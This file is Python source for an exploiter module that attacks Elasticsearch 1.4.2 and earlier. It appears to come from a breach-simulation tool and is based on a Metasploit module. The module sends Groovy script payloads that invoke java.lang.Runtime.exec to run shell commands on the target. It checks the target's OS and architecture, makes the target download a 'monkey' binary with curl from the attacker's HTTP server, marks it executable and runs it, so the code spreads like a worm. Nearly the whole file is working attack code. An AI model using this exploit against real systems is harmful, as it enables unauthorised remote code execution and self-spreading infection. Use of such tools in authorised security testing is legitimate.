""" Implementation is based on elastic search groovy exploit by metasploit https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb Max vulnerable elasticsearch version is "1.4.2" """ import json import logging import requests from exploit import HostExploiter from model import MONKEY_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth __author__ = 'danielg' LOG = logging.getLogger(__name__) class ElasticGroovyExploiter(HostExploiter): # attack URLs BASE_URL = 'http://%s:%s/_search?pretty' MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' JAVA_GET_TMP_DIR =\ GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_CMD = GENERIC_QUERY \ % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist def is_os_supported(self): """ Checks if the host is vulnerable. Either using version string or by trying to attack :return: """ if not super(ElasticGroovyExploiter, self).is_os_supported(): return False if ES_SERVICE not in self.host.services: LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) return False major, minor, build = self.host.services[ES_SERVICE]['version'].split('.') major = int(major) minor = int(minor) build = int(build) if major > 1: return False if major == 1 and minor > 4: return False if major == 1 and minor == 4 and build > 2: return False return self.is_vulnerable() def exploit_host(self): real_host_os = self.get_host_os() self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters if 'linux' in self.host.os['type']: return self.exploit_host_linux() else: return self.exploit_host_windows() def exploit_host_windows(self): """ TODO Will exploit windows similar to smbexec :return: """ return False def exploit_host_linux(self): """ Exploits linux using similar flow to sshexec and shellshock. Meaning run remote commands to copy files over HTTP :return: """ uname_machine = str(self.get_linux_arch()) if len(uname_machine) != 0: self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux): return False self.set_file_executable_linux(dropper_target_path_linux) self.run_monkey_linux(dropper_target_path_linux) if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") return True def run_monkey_linux(self, dropper_target_path_linux): """ Runs the monkey """ cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' self.run_shell_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") def download_file_in_linux(self, src_path, target_path): """ Downloads a file in target machine using curl to the given target path :param src_path: File path relative to the monkey :param target_path: Target path in linux victim :return: T/F """ http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) return False download_command = '/usr/bin/curl %s -o %s' % ( http_path, target_path) self.run_shell_command(download_command) http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() if (http_thread.downloads != 1) or ( 'ELF' not in self.check_if_remote_file_exists_linux(target_path)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) return False return True def set_file_executable_linux(self, file_path): """ Marks the given file as executable using chmod :return: Nothing """ chmod = '/bin/chmod +x %s' % file_path self.run_shell_command(chmod) LOG.info("Marked file %s on host %s as executable", file_path, self.host) def check_if_remote_file_exists_linux(self, file_path): """ :return: """ cmdline = '/usr/bin/head -c 4 %s' % file_path return self.run_shell_command(cmdline) def run_shell_command(self, command): """ Runs a single shell command and returns the result. """ payload = self.JAVA_CMD % command result = self.get_command_result(payload) LOG.info("Ran the command %s on host %s", command, self.host) return result def get_linux_arch(self): """ Returns host as per uname -m """ return self.get_command_result(self.JAVA_GET_BIT_LINUX) def get_host_tempdir(self): """ Returns where to write our file given our permissions :return: Temp directory path in target host """ return self.get_command_result(self.JAVA_GET_TMP_DIR) def get_host_os(self): """ :return: target OS """ return self.get_command_result(self.JAVA_GET_OS) def is_vulnerable(self): """ Checks if a given elasticsearch host is vulnerable to the groovy attack :return: True/False """ result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) return 'java.lang.Runtime' in result_text def get_command_result(self, payload): """ Gets the result of an attack payload with a single return value. :param payload: Payload that fits the GENERIC_QUERY template. """ result = self.attack_query(payload) if not result: # not vulnerable return False return result[0] def attack_query(self, payload): """ Wraps the requests query and the JSON parsing. Just reduce opportunity for bugs :return: List of data fields or None """ response = requests.get(self.attack_url(), data=payload) result = self.get_results(response) return result def attack_url(self): """ Composes the URL to attack per host IP and port. :return: Elasticsearch vulnerable URL """ return self.BASE_URL % (self.host.ip_addr, ES_PORT) def get_results(self, response): """ Extracts the result data from our attack :return: List of data fields or None """ try: json_resp = json.loads(response.text) return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except KeyError: return None